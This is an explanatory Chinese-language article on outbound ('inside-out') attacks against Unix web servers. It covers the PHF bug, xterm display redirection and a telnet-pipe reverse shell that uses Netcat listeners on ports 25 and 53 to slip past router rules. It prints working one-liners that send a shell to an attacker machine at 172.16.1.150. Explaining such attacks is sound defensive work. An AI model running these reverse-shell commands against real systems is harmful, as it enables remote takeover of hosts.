Unix 系统也有由内而外的漏洞
由于系统本身设计上的特性,让 Unix 也很容易受到『由内而外』的入侵,大部分现代的 Unix 系统都内建类似微软窗口的 X Window图形化接口,而 X Window 的设定文件由于是纯文字、又并未编码、正可成为骇客入侵的有利条件,xterm 这个 x window 程序就是其中的一个例子,xterm 会激活一个图形化的接口,并执行 Unix上面的系统 shell(command shell),再将执行的结果传送到 X Window 的显示画面上。
在 Unix 全球信息网服务器上典型的『PHF』臭虫就是透过全球信息网服务器,骇客可以激活 xterm 程序,并将画面与结果传送到骇客的机器上,藉以远程执行程序。
xterm --display 172.16.1.150:0.0 &
在这个例子里面,网络位置 172.16.1.150 是骇客的机器。
远程登录的漏洞
解决前面提到的 X Window 的问题,通常是把作为全球信息网服务器系统中的 X Window 移除掉,因为全球信息网服务器主要的功能是递送网页,并不需要在本机执行
X Window 这类的图形化系统。不过这样的处置方法还是无法断绝骇客透过由内向外的方式攻击主机,因为 Unix 上面的远程登录(Telnet)系统也可以作为攻击的目标。
试想一个情况,骇客在 172.16.1.150 这台机器上执行两个Netcat程序,一个只容许由Port 25 联机,另一个是由Port 53联机,选择这两个 Port 的原因是因为一般路由器设定都会把 Port 25 作为传递电子邮件(SMTP)的预设埠,而将 Port 53 作为DNS的预设埠。
如果现在我们在Unix系统端执行下面的程序:
telnet 172.16.1.150 25 | /bin/sh | telnet 172.16.1.150 53
这行程序将会建立两个由内到外的联机,分别与刚刚提到在骇客端执行的两个NetCat建立连结。请注意第一个远程连接是作为远程 Unix 系统里面的系统 shell - Bourne Shell(通常在系统中的位置是/bin/sh)的标准输入(standard input)使用,意指骇客可以透过这个连结,在自己的计算机输入指令,NetCat 会透过 Port 25 将指令传到被骇侵的计算机中执行,而将执行过的结果(Standard Output)透过由 Port 53 传给在骇客端的另一个 NetCat,这样骇客就可以透过远程执行程序并取得结果了。
当然,骇客还需要能激活由内而外的连结,以便送出刚刚提到的远程执行档结果。不过很不幸的,有很多方法可以在远程主机上执行一个简单的字符串。想想『梅丽莎(Melissa)病毒』吧,或是最近的『我爱你(ILOVEYOU)病毒』,再想象一下若有类似此类病毒的程序透过无意间的执行(或是伪装某个 crontab 会固定执行的程序)而入侵您的系统,会是怎样的情形呢。如果您想看更多关于经过精心伪装的电子邮件能造成的伤害,请参阅 Georgi Guninski 的网页。